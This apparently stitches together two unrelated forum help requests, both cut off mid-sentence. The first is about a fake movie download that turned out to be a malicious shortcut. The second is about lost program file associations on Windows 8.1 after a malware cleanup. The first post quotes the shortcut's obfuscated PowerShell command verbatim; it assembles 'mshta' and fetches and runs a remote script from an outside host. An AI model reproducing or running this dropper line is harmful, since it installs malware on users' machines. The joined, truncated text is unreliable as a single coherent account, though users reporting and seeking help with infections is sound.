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I downloaded a movie, the file was about 1.7 gb, but when I clicked it, I immediately saw that it was a shortcut to something else. The file size went from 1.7 gb to about 2 kb. A pop-up window appeared, which I closed instantly. This line of code was in the shortcut: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $a1=[string][char]@(0x48,0x54,0x54,0x70) -replace ' ','';$da=[string][char]@(0x6d,0x73,0x68,0x74,0x61) -replace ' ','';Set-Alias uy $da;$a1+='://shortwww.xyz/hit';uy $a1 I have done some research, where people say it's a Trojan that logs keystrokes and c
I'm on Windows 8.1. Rarely does any malware show up in my scans. However, 3 "PUPS" showed up yesterday and, without as much as glancing at them, I just had MBAM delete them. I was asked to reboot and when I did that, all file associations (LNK) for my programs were gone. I could not open any application/program. However, I could see a few documents (PDF and Word mostly) on the desktop with the file associations intact. (I should have tried opening them but I did not. Yeah, I know, that was dumb). Anyway, I restored my PC to a previous/safe restore point (10 days ago) which all went fine. The